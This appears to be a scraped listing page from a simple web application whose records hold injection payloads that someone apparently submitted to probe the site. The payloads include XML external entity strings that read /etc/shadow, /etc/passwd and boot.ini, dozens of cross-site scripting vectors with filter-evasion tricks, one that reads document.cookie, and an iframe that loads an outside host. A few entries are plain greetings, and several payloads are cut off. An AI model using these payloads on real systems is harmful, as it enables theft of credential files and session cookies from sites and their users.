| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo> |
Show |
Edit |
Destroy |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]><foo> |
Show |
Edit |
Destroy |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo> |
Show |
Edit |
Destroy |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo> |
Show |
Edit |
Destroy |
| <script>alert('XSS')</script> |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert( |
Show |
Edit |
Destroy |
| "><script>alert('XSS')</script> |
Show |
Edit |
Destroy |
| <IMG SRC="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <script>alert('XSS')</script> |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert('XSS')> |
Show |
Edit |
Destroy |
| <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> |
Show |
Edit |
Destroy |
| <IMG SRC="jav |
Show |
Edit |
Destroy |
| <img src=xss onerror=alert(1)> |
Show |
Edit |
Destroy |
| <IMG SRC="jav ascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <IMG SRC= |
Show |
Edit |
Destroy |
| <IMG SRC= |
Show |
Edit |
Destroy |
| <BODY BACKGROUND="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <BODY ONLOAD=alert('XSS')> |
Show |
Edit |
Destroy |
| <IMG SRC= |
Show |
Edit |
Destroy |
| <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <IMG SRC="javascript:alert('XSS')" |
Show |
Edit |
Destroy |
| %3cscript%3ealert(1)%3c/script%3e |
Show |
Edit |
Destroy |
| "><s"+"cript>alert(document.cookie)</script> |
Show |
Edit |
Destroy |
| <iframe src=http://ha.ckers.org/scriptlet.html < |
Show |
Edit |
Destroy |
| <<SCRIPT>alert("XSS");//<</SCRIPT> |
Show |
Edit |
Destroy |
| foo<script>alert(1)</script> |
Show |
Edit |
Destroy |
| <scr<script>ipt>alert(1)</scr</script>ipt> |
Show |
Edit |
Destroy |
| <marquee onstart='javascript:alert('1');'>=(◕_◕)= |
Show |
Edit |
Destroy |
| ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT> |
Show |
Edit |
Destroy |
| #<script>alert(document.domain)</script> |
Show |
Edit |
Destroy |
| 1 |
Show |
Edit |
Destroy |
| jasjan |
Show |
Edit |
Destroy |
| assalom |
Show |
Edit |
Destroy |
| <option><style></option></select><img src=1 onerror=alert(3)></style> |
Show |
Edit |
Destroy |
| salom |
Show |
Edit |
Destroy |
| salom |
Show |
Edit |
Destroy |
| salom |
Show |
Edit |
Destroy |
| salom |
Show |
Edit |
Destroy |